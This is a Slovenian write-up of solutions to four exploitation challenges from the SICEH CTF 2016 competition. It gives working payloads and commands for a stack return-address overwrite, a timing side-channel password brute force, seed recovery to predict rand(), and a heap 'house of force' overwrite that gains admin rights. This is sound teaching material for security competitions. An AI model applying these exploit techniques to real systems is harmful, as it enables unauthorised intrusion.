Ta objava vsebuje primere rešitev nalog iz kategorije eksploitacija na tekmovanju SICEH CTF 2016, ki je potekalo v okviru konference Infosek 2016.

1. Pozdravljeni

Program nas vpraša za ime in nas pozdravi. Z uporabo dolgega imena lahko povzročimo buffer overflow:

> python -c 'print("a"*300)' | ./exp1
Prosimo vnesite vaše ime:
Dobrodošli, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
[1]    10163 done                              python -c 'print("a"*100)' | 
       10164 segmentation fault (core dumped)  ./exp1

Poglejmo si, kako izgleda stack po vnosu imena "aaaaaaaa":

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffd4848f4c0  6161 6161 6161 6161 0000 0000 0000 0000  aaaaaaaa........
0x7ffd4848f4d0  2008 4000 0000 0000 7006 4000 0000 0000   .@.....p.@.....
0x7ffd4848f4e0  f0f4 4848 fd7f 0000 1608 4000 0000 0000  ..HH......@.....
0x7ffd4848f4f0  2008 4000 0000 0000 91d2 d7b2 127f 0000   .@.............

Vidimo, da začnemo po 40 znakih pisati čez return address funkcije greetUser, v kateri se trenutno nahajamo. Če pogledamo seznam funkcij, opazimo funkcijo printFlag, ki nam prikaže zastavico:

...
0x00400766    1 80           sym.greetUser
0x004007b6    6 82           sym.printFlag
0x00400808    1 21           sym.main
...

Če po 40 znakih na stack napišemo naslov funkcije printFlag, se bo funkcija greetUser po izvedbi "vrnila" na funkcijo printFlag in dobili bomo zastavico:

> echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x07\x40" | nc $ip_naslov 7001
Prosimo vnesite vaše ime:
Dobrodošli, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¶@!
ISCTF{buff3r_j3_pr3m4j}

2. Bruteforce

Naloga od nas zahteva da z golo silo ugotovimo geslo, dolgo 8 znakov, sestavljeno iz 64 možnih različnih znakov. Izvorno kodo imamo na voljo. Zanima nas predvsem sledeči del:

for (i = 0; s1[i]; ++i) {
    if (s1[i] != s2[i]) {
        /* Bruteforce prevention, sleep 100 ms */
        nanosleep((const struct timespec[])0, NULL); 
        break;
    }
}

Če je geslo napačno, program spi 100 ms, da bi preprečil napad z golo silo, vendar pa je koda pomankljiva: for zanka se ponovi za vsak znak, ki smo ga vnesli. Če torej vnesemo le en znak, ki je pravilen, do spanja ne bo prišlo. Preizkusimo:

> time echo "a" | nc $ip_naslov 7002 
Please enter your password: Incorrect password
...
0.150 total
> time echo "x" | nc $ip_naslov 7002 
Please enter your password: Incorrect password
...
0.050 total

Točni časi se lahko razlikujejo, vendar pa so pri pravilnem znaku povprečno za 100 ms manjši. To nam omogoči ugibanje gesla znak po znak. Zgoraj smo ugotovili, da je prvi znak x, zato moramo sedaj preizkusiti vsa gesla, dolga dva znaka, pri katerem je prvi znak x, itd. Namesto da moramo preizkusiti do 64^8 različnih gesel, lahko sedaj geslo ugotovimo v največ 64*8 poskusih. Ob pravilnem geslu prejemmo zastavico:

> echo "xB3Pj691" | nc $ip_naslov 7002
Please enter your password: Here is your flag: ISCTF{u5e_th3_brain_Luke}

3. Lahko napoveš prihodnost?

Program prikaže 16 naključnih števil nato pa od nas zahteva, da napišemo naslednjih 16. Če so pravilne, dobimo zastavico. Na voljo imamo izvorno kodo programa:

...
srand(time(0) + 31337); 

printf("Mojih 16: ");
for (i = 0; i < 16; ++i) {
    printf("%d ", rand());
}

printf("\nTvojih 16: ");
    for (i = 0; i < 16; ++i) {
    scanf("%d", &num);
    if (num != rand()) {
       puts("Narobe!"); 
       return 1;
    }
}
...

Vidimo, da program za generiranje števil uporablja funkcijo rand(). Če poiščemo seme, generirano z time(0) + 31337), bomo lahko napovedali prihodnja števila. Če sklepamo, da je čas strežnika podoben našemu, lahko seme najdemo zelo hitro, vendar pa je tudi iskanje v celotnem območju povsem izvedljivo. Začnimo za vsak slučaj iskati eno uro pred našim trenutnim časom. Uporabili bomo naslednjo C kodo:

int a = -3600; // Začnimo s semenom, ki bi ga strežnik generiral pred eno uro
for (int v = 12345; v != rand(); a++) { // Vrednost 12345 nadomestimo s prvo iskano vrednostjo, ki nam jo vrnil program
    srand(time(0) + 31337 + a);
}
for (int i = 0; i < 15; i++) rand(); // Preskočimo naslednjih 15 števil, te so od programa
for (int i = 0; i < 16; i++) printf("%d ", rand()); // Naslednjih 16 pa je naših!

Pridobivanje začetne vrednosti in pošiljanje števil programu lahko seveda povsem avtomatiziramo, vendar pa zgornja preprosta rešitev zadošča za rešitev naloge:

> nc $ip_naslov 7003
Mojih 16: 1309723574 1977882142 1435436729 387850707 968205195 635717320 403837600 1455448371 1330520717 742173869 1175029050 422670495 1197500690 1136486021 1079284137 1134414691 
Tvojih 16: 918853073 1477989211 1027771548 957958382 1709898936 1268414606 919203200 1525321365 633918057 177348833 1047474671 1507489765 2050806971 1158420699 1940161752 1213046897
ISCTF{ur_l1k3_b4by_n05tr4d4mU5}

4. HitriArhiv

Rešitev te naloge predpostavlja razumevanje glibc funkcije malloc(), struct-a chunk ter pogostih tehnik eksploitacije heap-a.

Program omogoča shranjevanje vsebine v arhiv, rezerviranje prostora, med drugim pa ima tudi funkcije za printanje zastavice, ki nam je kot navadnemu uporabniku nedostopna:

...........pozdravljeni v
┬ ┬┬┌┬┐┬─┐┬╔═╗╦═╗╦ ╦╦╦  ╦
├─┤│ │ ├┬┘│╠═╣╠╦╝╠═╣║╚╗╔╝
┴ ┴┴ ┴ ┴└─┴╩ ╩╩╚═╩ ╩╩ ╚╝ 
verzija 0.160353.........

hitriARHIV vam omogoča shranjevanje besedil na hiter in enostaven način
da se izognete izgubi podatkov binarne datoteke pred arhiviranjem kodirajte
vedno se prepričajte, da dolžina vsebine ne presega velikosti arhivnega prostora

UKAZI:
  'SHRANI': Shrani vsebino v arhiv
  'REZERVIRAJ': Rezerviraj prostor za arhiv
  'UPORABNIK': Prikaži trenutnega uporabnika
  'PRESTEJ': Preštej število shranjenih besedil
  'ZADNJI': Izpiši informacije o zadnjem besedilu
  'ZASTAVICA': Prikaži zastavico
  'DODAJ': Dodaj ukaz ali parameter v vrsto za izvajanje
  'IZVEDI': Izvedi vrsto za izvajanje
  'IZHOD': Zapusti hitriARHIV
  Za nadaljevanje pritisnite ENTER!

Ukaz: UPORABNIK
Prijavljeni ste kot uporabnik 'UPORABNIK'
Ukaz: ZASTAVICA
Navadni uporabniki nimajo dovoljenja za ogled zastavice

Poglejmo funkcijo cmdFlag, ki je klicana, kadar želimo printati zastavico:

...
|           0x00400d21      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00400d25      ba00010000     mov edx, 0x100              ; 256
|           0x00400d2a      488d35f30800.  lea rsi, qword [rip + 0x8f3] ; 0x401624 ; str.UPORABNIK ; "UPORABNIK" @ 0x401624
|           0x00400d31      4889c7         mov rdi, rax
|           0x00400d34      e8b7faffff     call section..plt.got
|           0x00400d39      85c0           test eax, eax
|       ,=< 0x00400d3b      750e           jne 0x400d4b
|       |   0x00400d3d      488d3dec0800.  lea rdi, qword [rip + 0x8ec] ; 0x401630 ; str.Navadni_uporabniki_nimajo_dovoljenja_za_ogled_zastavice ; "Navadni uporabniki nimajo dovoljenja za ogled zastavice" @ 0x401630
|       |   0x00400d44      e8affaffff     call 0x4007f8
|      ,==< 0x00400d49      eb4c           jmp 0x400d97
|      |`-> 0x00400d4b      488b45f8       mov rax, qword [rbp - local_8h]
|      |    0x00400d4f      ba00010000     mov edx, 0x100              ; 256
|      |    0x00400d54      488d350d0900.  lea rsi, qword [rip + 0x90d] ; 0x401668 ; str.ADMIN ; "ADMIN" @ 0x401668
|      |    0x00400d5b      4889c7         mov rdi, rax
|      |    0x00400d5e      e88dfaffff     call section..plt.got
|      |    0x00400d63      85c0           test eax, eax
|      |,=< 0x00400d65      751a           jne 0x400d81
|      ||   0x00400d67      488b45f0       mov rax, qword [rbp - local_10h]
|      ||   0x00400d6b      4889c6         mov rsi, rax
|      ||   0x00400d6e      488d3dfb0800.  lea rdi, qword [rip + 0x8fb] ; 0x401670 ; str.Dobrodo__li_administrator__tu_je_va__a_zastavica:_n_s_n ; "Dobrodo..li administrator, tu je va..a zastavica:.%s." @ 0x401670
...

Vidimo, da bi kot uporabnik "ADMIN" lahko prišli do zastavice. Če pogledamo funkcijo rawSave, ki shranjuje naša sporočila lahko vidimo, da z uporabo funkcije malloc() prostor rezervira na heap-u. Shranimo besedilo z dolžino 264 in vsebino "aaaaaaaa" ter poglejmo, kako izgleda heap:

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00a88420  5550 4f52 4142 4e49 4b00 0000 0000 0000  UPORABNIK.......
...
0x00a88530  6161 6161 6161 6161 0a00 0000 0000 0000  aaaaaaaa........
...

Če prepišemo vsebino chunk-a, ki se na heap-u nahaja 0x110 nižje, lahko torej postanemo "ADMIN". Z uporabo ukazov DODAJ in IZVEDI lahko dosežemo buffer overflow pri ukazu SHRANI. Program nikoli ne sprosti obstoječih chunkov, zato jih bomo težko prepisali, lahko pa prepišemo divjino, ki sledi našemu chunk-u. To nam omogoči, da spremenimo velikost divjine v 0xffffffffffffffff, kar nam omogoči rezervacijo poljubno velikega prostora, brez da bi program od operacijskega sistema zahteval dodatni prostor. Posledično lahko dosežemo overflow naslovnega prostora. Overflow izkoristimo, da se vrnemo tik pred chunk, v katerem je shranjen uporabnik in ga z naslednjim shranjevanjem prepišemo. Če bomo za overflow uporabili chunk velikosti 264 bajtov, se želimo v spominu vrniti za:

  • 264 + 8 bajtov (vsebina in velikost chunk-a z uporabnikom),
  • 264 + 8 bajtov (vsebina in velikost chunk-a s katerim smo izvedli overflow),
  • 8 bajtov (velikost chunka s katerim bomo prepisovali uporabnika, zato da bo vsebina poravnana z obstoječo vsebino)
Skupno torej 552 bajtov:

> nc $ip_naslov 7004
...........pozdravljeni v
┬ ┬┬┌┬┐┬─┐┬╔═╗╦═╗╦ ╦╦╦  ╦
├─┤│ │ ├┬┘│╠═╣╠╦╝╠═╣║╚╗╔╝
┴ ┴┴ ┴ ┴└─┴╩ ╩╩╚═╩ ╩╩ ╚╝ 
verzija 0.160353.........

hitriARHIV vam omogoča shranjevanje besedil na hiter in enostaven način
da se izognete izgubi podatkov binarne datoteke pred arhiviranjem kodirajte
vedno se prepričajte, da dolžina vsebine ne presega velikosti arhivnega prostora

UKAZI:
 'SHRANI': Shrani vsebino v arhiv
 'REZERVIRAJ': Rezerviraj prostor za arhiv
 'UPORABNIK': Prikaži trenutnega uporabnika
 'PRESTEJ': Preštej število shranjenih besedil
 'ZADNJI': Izpiši informacije o zadnjem besedilu
 'ZASTAVICA': Prikaži zastavico
 'DODAJ': Dodaj ukaz ali parameter v vrsto za izvajanje
 'IZVEDI': Izvedi vrsto za izvajanje
 'IZHOD': Zapusti hitriARHIV
Za nadaljevanje pritisnite ENTER!

Ukaz: DODAJ
Ukaz ali parameter: SHRANI
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: 264
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\xff
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: REZERVIRAJ
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: -552
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: SHRANI
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: 100
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: ADMIN
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: DODAJ
Ukaz ali parameter: ZASTAVICA
Ukaz ali parameter je bil dodan v vrsto za izvajanje
Ukaz: IZVEDI
Dobrodošli administrator, tu je vaša zastavica:
ISCTF{s1c3h_c4s71_p1v0}

Izvajanje vrste zaključeno.